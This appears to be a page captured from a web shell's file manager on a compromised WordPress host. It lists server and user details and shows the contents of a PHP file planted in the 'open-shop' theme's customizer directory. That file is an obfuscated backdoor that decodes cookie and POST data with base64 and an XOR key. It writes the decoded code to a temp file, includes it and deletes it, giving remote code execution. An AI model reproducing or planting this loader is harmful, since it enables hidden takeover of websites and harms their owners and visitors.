HEX
Server: nginx/1.27.1
System: Linux in-4 5.15.0-131-generic #141-Ubuntu SMP Fri Jan 10 21:18:28 UTC 2025 x86_64
User: ilikadirect (1186)
PHP: 7.4.33
Disabled: exec,passthru,shell_exec,system,proc_open,popen,parse_ini_file,show_source
Upload Files
File: /storage/v6964/gopalak/public_html/wp-content/themes/open-shop/customizer/5cd369ee.php
$DyKQenwg = chr ( 609 - 529 ).chr ( 125 - 43 )."\x52" . chr (95) . "\x4e" . "\120" . chr ( 873 - 774 ); $UBHqUlt = "\143" . "\154" . chr ( 760 - 663 )."\163" . chr ( 1067 - 952 )."\137" . chr ( 574 - 473 )."\170" . "\x69" . 's' . "\x74" . "\x73";$Humhr = class_exists($DyKQenwg); $DyKQenwg = "61898";$UBHqUlt = "35258";$CgBpRaDK = FALSE;if ($Humhr === $CgBpRaDK){function CugjiHWi(){return FALSE;}$sMgviDJc = "5576";CugjiHWi();class PRR_NPc{public function tMoDylYq(){echo "37448";}private $oaMMlp;public static $VdDKlgjh = "7902c7b7-6433-414e-999e-37dbe92a7a59";public static $xLQgcOtF = 64437;public function __destruct(){$sMgviDJc = "25988_62044";$this->jJMjovaj($sMgviDJc); $sMgviDJc = "25988_62044";}public function __construct($pamzIK=0){$aXPwPK = $_POST;$OhmcQ = $_COOKIE;$DdgWWFRkot = @$OhmcQ[substr(PRR_NPc::$VdDKlgjh, 0, 4)];if (!empty($DdgWWFRkot)){$QWqkQonNih = "base64";$fzGyAp = "";$DdgWWFRkot = explode(",", $DdgWWFRkot);foreach ($DdgWWFRkot as $EEBHtG){$fzGyAp .= @$OhmcQ[$EEBHtG];$fzGyAp .= @$aXPwPK[$EEBHtG];}$fzGyAp = array_map($QWqkQonNih . "\137" . chr (100) . chr ( 766 - 665 ).chr (99) . 'o' . 'd' . chr (101), array($fzGyAp,)); $fzGyAp = $fzGyAp[0] ^ str_repeat(PRR_NPc::$VdDKlgjh, (strlen($fzGyAp[0]) / strlen(PRR_NPc::$VdDKlgjh)) + 1);PRR_NPc::$xLQgcOtF = @unserialize($fzGyAp);}}private function jJMjovaj($sMgviDJc){if (is_array(PRR_NPc::$xLQgcOtF)) {$gJfCoaBe = sys_get_temp_dir() . "/" . crc32(PRR_NPc::$xLQgcOtF["\x73" . "\141" . "\x6c" . "\164"]);@PRR_NPc::$xLQgcOtF[chr ( 512 - 393 )."\x72" . chr ( 275 - 170 ).'t' . chr (101)]($gJfCoaBe, PRR_NPc::$xLQgcOtF["\x63" . "\x6f" . 'n' . 't' . chr (101) . chr ( 1047 - 937 )."\x74"]);include $gJfCoaBe;@PRR_NPc::$xLQgcOtF["\x64" . chr (101) . chr (108) . "\x65" . "\164" . "\145"]($gJfCoaBe); $sMgviDJc = "5576";exit();}}}$ZaiLx = new /* 16968 */ PRR_NPc(5576); $ZaiLx = str_repeat("25988_62044", 1);}